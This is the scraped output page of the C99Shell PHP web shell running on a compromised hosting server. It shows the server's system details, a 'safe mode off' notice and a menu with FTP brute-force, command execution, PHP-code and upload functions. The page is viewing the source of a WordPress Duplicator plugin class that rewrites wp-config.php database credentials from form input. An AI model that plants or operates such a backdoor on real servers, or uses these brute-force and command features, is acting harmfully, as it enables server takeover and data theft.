!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/duplicator/installer/build/classes/config/   drwxr-xr-x
Free 182.83 GB of 490.84 GB (37.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class.conf.wp.php (6.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class used to update and edit and update the wp-config.php
 *
 * Standard: PSR-2
 * @link http://www.php-fig.org/psr/psr-2 Full Documentation
 *
 * @package SC\DUPX\WPConfig
 *
 */
class DUPX_WPConfig
{

    
/**
     *  Updates the web server config files in Step 1
     *
     *  @return null
     */
    
public static function updateStandard()
    {
        if (!
file_exists('wp-config.php')) return;

        
$root_path     DUPX_U::setSafePath($GLOBALS['CURRENT_ROOT_PATH']);
        
$wpconfig     = @file_get_contents('wp-config.php'true);

        
$patterns = array(
            
"/'DB_NAME',\s*'.*?'/",
            
"/'DB_USER',\s*'.*?'/",
            
"/'DB_PASSWORD',\s*'.*?'/",
            
"/'DB_HOST',\s*'.*?'/");

        
$db_host = ($_POST['dbport'] == 3306) ? $_POST['dbhost'] : "{$_POST['dbhost']}:{$_POST['dbport']}";

        
$replace = array(
            
"'DB_NAME', ".'\''.$_POST['dbname'].'\'',
            
"'DB_USER', ".'\''.$_POST['dbuser'].'\'',
            
"'DB_PASSWORD', ".'\''.DUPX_U::pregReplacementQuote($_POST['dbpass']).'\'',
            
"'DB_HOST', ".'\''.$db_host.'\'');

        
//SSL CHECKS
        
if ($_POST['ssl_admin']) {
            if (!
strstr($wpconfig'FORCE_SSL_ADMIN')) {
                
$wpconfig $wpconfig.PHP_EOL."define('FORCE_SSL_ADMIN', true);";
            }
        } else {
            
array_push($patterns"/'FORCE_SSL_ADMIN',\s*true/");
            
array_push($replace"'FORCE_SSL_ADMIN', false");
        }

        
//CACHE CHECKS
        
if ($_POST['cache_wp']) {
            if (!
strstr($wpconfig'WP_CACHE')) {
                
$wpconfig $wpconfig.PHP_EOL."define('WP_CACHE', true);";
            }
        } else {
            
array_push($patterns"/'WP_CACHE',\s*true/");
            
array_push($replace"'WP_CACHE', false");
        }
        if (!
$_POST['cache_path']) {
            
array_push($patterns"/'WPCACHEHOME',\s*'.*?'/");
            
array_push($replace"'WPCACHEHOME', ''");
        }

        if (!
is_writable("{$root_path}/wp-config.php")) {
            if (
file_exists("{$root_path}/wp-config.php")) {
                
chmod("{$root_path}/wp-config.php"0644) ? DUPX_Log::info('File Permission Update: wp-config.php set to 0644') : DUPX_Log::info('WARNING: Unable to update file permissions and write to wp-config.php.  Please visit the online FAQ for setting file permissions and work with your hosting provider or server administrator to enable this installer.php script to write to the wp-config.php file.');
            } else {
                
DUPX_Log::info('WARNING: Unable to locate wp-config.php file.  Be sure the file is present in your archive.');
            }
        }

        
$wpconfig     preg_replace($patterns$replace$wpconfig);
        
file_put_contents('wp-config.php'$wpconfig);
        
$wpconfig     null;
    }

    
/**
     *  Updates the web server config files in Step 1
     *
     *  @return null
     */
    
public static function updateExtended()
    {
        
$config_file '';
        if (!
file_exists('wp-config.php')) {
            return 
$config_file;
        }

        
$root_path        DUPX_U::setSafePath($GLOBALS['CURRENT_ROOT_PATH']);
        
$wpconfig_path    "{$root_path}/wp-config.php";
        
$config_file    = @file_get_contents($wpconfig_pathtrue);

        
$patterns     = array(
            
"/('|\")WP_HOME.*?\)\s*;/",
            
"/('|\")WP_SITEURL.*?\)\s*;/");
        
$replace     = array(
            
"'WP_HOME', '{$_POST['url_new']}');",
            
"'WP_SITEURL', '{$_POST['url_new']}');");

        
//Not sure how well tokenParser works on all servers so only using for not critical constants at this point.
        //$count checks for dynamic variable types such as:  define('WP_TEMP_DIR',    'D:/' . $var . 'somepath/');
        //which should not be updated.
        
$defines self::tokenParser($wpconfig_path);

        
//WP_CONTENT_DIR
        
if (isset($defines['WP_CONTENT_DIR'])) {
            
$val str_replace($_POST['path_old'], $_POST['path_new'], DUPX_U::setSafePath($defines['WP_CONTENT_DIR']), $count);
            if (
$count 0) {
                
array_push($patterns"/('|\")WP_CONTENT_DIR.*?\)\s*;/");
                
array_push($replace"'WP_CONTENT_DIR', '{$val}');");
            }
        }

        
//WP_CONTENT_URL
        
if (isset($defines['WP_CONTENT_URL'])) {
            
$val str_replace($_POST['url_old'] . '/'$_POST['url_new'] . '/'$defines['WP_CONTENT_URL'], $count);
            if (
$count 0) {
                
array_push($patterns"/('|\")WP_CONTENT_URL.*?\)\s*;/");
                
array_push($replace"'WP_CONTENT_URL', '{$val}');");
            }
        }

        
//WP_TEMP_DIR
        
if (isset($defines['WP_TEMP_DIR'])) {
            
$val str_replace($_POST['path_old'], $_POST['path_new'], DUPX_U::setSafePath($defines['WP_TEMP_DIR']) , $count);
            if (
$count 0) {
                
array_push($patterns"/('|\")WP_TEMP_DIR.*?\)\s*;/");
                
array_push($replace"'WP_TEMP_DIR', '{$val}');");
            }
        }
        
        
//DOMAIN_CURRENT_SITE
        
if (isset($defines['DOMAIN_CURRENT_SITE'])) {
            
$mu_newDomainHost parse_url($_POST['url_new'], PHP_URL_HOST);
            
array_push($patterns"/('|\")DOMAIN_CURRENT_SITE.*?\)\s*;/");
            
array_push($replace"'DOMAIN_CURRENT_SITE', '{$mu_newDomainHost}');");
        }

        
//PATH_CURRENT_SITE
        
if (isset($defines['PATH_CURRENT_SITE'])) {
            
$mu_newUrlPath parse_url($_POST['url_new'], PHP_URL_PATH);
            
array_push($patterns"/('|\")PATH_CURRENT_SITE.*?\)\s*;/");
            
array_push($replace"'PATH_CURRENT_SITE', '{$mu_newUrlPath}');");
        }
        
        
$config_file preg_replace($patterns$replace$config_file);
        
file_put_contents($wpconfig_path$config_file);
        
$config_file file_get_contents($wpconfig_pathtrue);

        return 
$config_file;
    }


    public static function 
tokenParser($wpconfig_path) {

        
$defines = array();
        
$wpconfig_file = @file_get_contents($wpconfig_path);

        if (!
function_exists('token_get_all')) {
            
DUPX_Log::info("\nNOTICE: PHP function 'token_get_all' does not exist so skipping WP_CONTENT_DIR and WP_CONTENT_URL processing.");
            return 
$defines;
        }

        if (
$wpconfig_file === false) {
            return 
$defines;
        }

        
$defines = array();
        
$tokens     token_get_all($wpconfig_file);
        
$token     reset($tokens);
        while (
$token) {
            if (
is_array($token)) {
                if (
$token[0] == T_WHITESPACE || $token[0] == T_COMMENT || $token[0] == T_DOC_COMMENT) {
                    
// do nothing
                
} else if ($token[0] == T_STRING && strtolower($token[1]) == 'define') {
                    
$state 1;
                } else if (
$state == && self::isConstant($token[0])) {
                    
$key     $token[1];
                    
$state     3;
                } else if (
$state == && self::isConstant($token[0])) {
                    
$value     $token[1];
                    
$state     5;
                }
            } else {
                
$symbol trim($token);
                if (
$symbol == '(' && $state == 1) {
                    
$state 2;
                } else if (
$symbol == ',' && $state == 3) {
                    
$state 4;
                } else if (
$symbol == ')' && $state == 5) {
                    
$defines[self::tokenStrip($key)] = self::tokenStrip($value);
                    
$state 0;
                }
            }
            
$token next($tokens);
        }

        return 
$defines;

    }

    private static function 
tokenStrip($value)
    {
        return 
preg_replace('!^([\'"])(.*)\1$!''$2'$value);
    }

    private static function 
isConstant($token)
    {
        return 
$token == T_CONSTANT_ENCAPSED_STRING || $token == T_STRING || $token == T_LNUMBER || $token == T_DNUMBER;
    }


}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0136 ]--